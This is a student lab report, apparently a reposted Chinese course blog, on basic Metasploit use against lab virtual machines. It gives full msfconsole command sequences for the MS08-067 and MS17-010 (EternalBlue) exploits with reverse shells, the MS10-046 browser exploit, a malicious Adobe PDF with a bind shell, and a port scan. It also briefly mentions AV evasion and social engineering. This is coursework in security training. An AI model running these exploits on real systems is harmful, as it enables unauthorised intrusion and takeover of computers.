zoukankan      html  css  js  c++  java
  • 2019-2020-2 20174308帅嵩《网络对抗技术》Exp6 MSF基础应用

    目录:

    一、实践目标

    二、实践基础知识

    三、实践过程

    四、基础问题回答

    五、实践总结


    一、实践目标

    1.1实践目标

    掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路

    1.2实践内容

    • 一个主动攻击实践,如ms08_067
    • 一个针对浏览器的攻击,如ms11_050
    • 一个针对客户端的攻击,如Adobe
    • 成功应用任何一个辅助模块

     二、实践基础知识

    2.1MSF基础模块

    模块是指Metasploit框架中所使用的一段软件代码组件渗透攻击模块(Exploit Modules):是指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为

    • 辅助模块(Auxiliary Modules):能够帮助渗透测试者在进行渗透攻击之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻击
    • 攻击载荷(Payload Modules):简单说payload原意为‘载荷’,就是被运输的东西。在我们的上下文环境中就是指一段指令或称为shellcode
    • 空字段模块(Nop Modules):是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在x86 CPU体系架构平台上的操作码是0x90
    • 编码模块(Encoders):攻击载荷模块与空指令模块组装完成一个指令序列后进行;确保攻击载荷中不会出现渗透攻击过程中应避免的“坏字符”;改变特征码,对攻击载荷进行“免杀”处理
    • 后渗透攻击模块(Post):收集更多信息或进一步访问受攻击目标系统

    2.2攻击方式

    • 主动攻击:直接攻击系统开启的漏洞服务,获取系统控制权
    • 攻击浏览器,获取系统控制权
    • 攻击客户端应用,获取系统控制权

    三、实践过程

    3.1主动攻击

    3.1.1MS08-067漏洞渗透攻击实践

    MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。

    攻击机:kalilinux(ip:192.168.1.104)靶机:windows XP Professional(English)(ip:192.168.1.103)

    攻击者试探靶机是否存在ms08_067这个漏洞【nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.1.103】

    查看到靶机的版本号,并且查看到靶机存在ms08_067这个漏洞

    进入msf控制台,使用指令【 search ms08_067】指令查询一下针对该漏洞能够运用的攻击模块

    输入其中提供的攻击模块。【use exploit/windows/smb/ms08_067_netapi】 进入该攻击模块,使用【show payloads】查看能够使用的攻击载荷

    我随便选了一个,选用了【generic/shell_reverse_tcp】。输入指令【set payload generic/shell_reverse_tcp】

    使用【show options】指令,显示连接需要设置的参数。

    设置参数

    set RHOST 192.168.1.103//设置靶机IP
    set LPORT 4308 //设置攻击机端口
    set LHOST 192.168.1.104 //设置攻击机IP
    exploit

    回连成功

    使用【systeminfo】指令,可以查看靶机的一些基本情况

    3.1.2MS17_010漏洞渗透攻击实践

    使用指令【nmap --script=vuln 192.168.1.103】看看靶机是否还有其他的漏洞可以实践。

    然后发现可以使用的就是MS17_010。于是使用【search MS17_010】探测可使用的攻击模块。

     

    任意选择一个攻击模块【exploit/windows/smb/ms17_010_eternalblue】。输入指令【use exploit/windows/smb/ms17_010_eternalblue】。使用【show payloads】查看能够使用的攻击载荷。

    选择【generic/shell_reverse_tcp】攻击方式。输入指令【set payload generic/shell_reverse_tcp】。

    输入指令【show options】查看需要配置的信息。

    发现该漏洞只有win7存在,故这一次漏洞攻击的目标为win7虚拟机。

    输入配置参数

    set RHOST 192.168.1.100//设置靶机IP
    set LHOST 192.168.1.104 //设置攻击机IP
    exploit

    3.2针对浏览器的攻击

    3.2.1ms10_046漏洞攻击

    攻击机:kalilinux(ip:192.168.1.104)靶机:windows XP Professional(English)(ip:192.168.1.103)

    首先查看浏览器漏洞:【cd /usr/share/metasploit-framework/modules/exploits/windows/browser】 
    输入 ls 即可看到很多漏洞代码,选择【ms10_046_shortcut_icon_dllloader.rb】

    进入msf,输入【search ms10_046】先找相关漏洞模块

    输入【use windows/browser/ms10_046_shortcut_icon_dllloader】,使用【show payloads】查找有效攻击载荷

    选择【windows/meterpreter/reverse_tcp】攻击方式,输入指令【set payload windows/meterpreter/reverse_tcp】。

    使用【show options】,查看配置参数

    设置配置信息。

    set LHOST 192.168.104//设置攻击者IP
    set SRVHOST 192.168.1.104 //设置服务器IP(攻击者IP)
    exploit //进行攻击

    在靶机输入这个网址

    查看会话,是用指令【sessions】。

    选择会话【sessions1】,并获得靶机的控制权,使用指令【ipconfig】,即可显示靶机的ip

    3.3针对客户端的攻击

    3.3.1Adobe攻击

    启动msf输入【search adobe】查询针对adobe攻击模块

    使用【use windows/fileformat/adobe_cooltype_sing】设置模块

    输入【show payloads】查找有效攻击载荷

    使用【 set payload windows/meterpreter/bind_tcp】设置payloads

    使用【show options】查看配置参数

    set RHOST 192.168.1.103 //靶机ip
    set LPORT 4308 //攻击端口
    exploit //生成pdf

    由于生成的pdf不太好找,我使用了cp指令,将他copy到根目录下,然后移动到靶机中

    由于我下的靶机并没有adobe,我就在物理机上下载一个靶机,将安装包移动到靶机中

    在靶机钟打开PDF。

    在kali中,back退出当前模块,是用如下指令进行监听

    use exploit/multi/handler //进入监听模块
    set payload windows/meterpreter/bind_tcp //选择攻击载荷
    set RHOST 192.168.1。103 //靶机IP
    set LPORT 4308 //攻击端口
    exploit

    获得权限,使用ipconfig指令进行实验

    成功。

    3.4成功应用任何一个辅助模块

    3.4.1scanner/portscan/tcp(唯一)

    攻击机:kalilinux(ip:192.168.1.104)靶机:windows XP Professional(English)(ip:192.168.1.103)

    进入msf输入【show auxiliary】指令,查看可用的辅助模块。

    我选择了【scanner/portscan/tcp】模块,该模块用来探测靶机的开放的tcp端口

    输入指令【 use scanner/portscan/tcp】 。同时使用【show options】指令,查看所需配置参数

    输入配置参数

    set RHOSTS 192.168.1.103

    exploit

    即可得到探测结果

    四、基础问题回答

    4.1用自己的话解释什么是exploit,payload,encode

    • exploit就是漏洞的利用,如何利用漏洞,将我们制造的恶意代码传递过去,起到一个通道的作用。
    • payload就是一段恶意代码,在靶机的漏洞发挥作用,达到我们某种目的的代码,通过通道传输到靶机,发挥作用。
    • encode就是包装,将payload的代码进行改造,变得不那么容易被发现。

    4.2离实战还缺些什么技术或步骤

    • 我们的实验都是基于理想化的东西,相当于大门敞开随便进入的那种。实战的话,我认为首先是信息的收集,要知道靶机有哪些漏洞,开放了哪些端口,操作系统等一些基础信息,方便我们选择攻击方式。其次,我们要保证自己的恶意代码不会被发现,可以顺利的到达靶机,这个就要做到免杀或者使用一定的社会工程学方法,进行诈骗、伪造等方式,让对方主动的下载运行。最后,自身能力的提升,提升自己的知识水平,熟练掌握多种渗透方法,探测方法等。

    五、实践总结

    这次实验是对于msf的一些简单应用,对于一些特定的漏洞,通过msf的一些工具在靶机上发挥作用。通过这次实验,我学会如何使用msf,遇到不会的就info查看详情,配置参数就是options查看,这样可以让我自己解决一些问题。同样,也有一些很难解决的问题,就得需要另外查找资料了。总的来说,这次实验收获比较大,接触了一点黑客的入门,hhh。但是我也发现自己知识的匮乏,有些参数根本看不懂,也不明白什么意思,以后的学习道路仍然很长。

  • 相关阅读:
    Go笔记
    EFCore CodeFirst操作MySQL
    基于NET Core简单操作Kafka
    NETCore2.2/3.0+使用带有权限验证的Swagger
    Net操作RabbitMQ
    Mysql报错问题汇总
    GDSM自动化部署shell脚本
    NET操作Redis
    ViewState原理
    使用jsonp跨域请求
  • 原文地址:https://www.cnblogs.com/20174308ss/p/12791145.html
Copyright © 2011-2022 走看看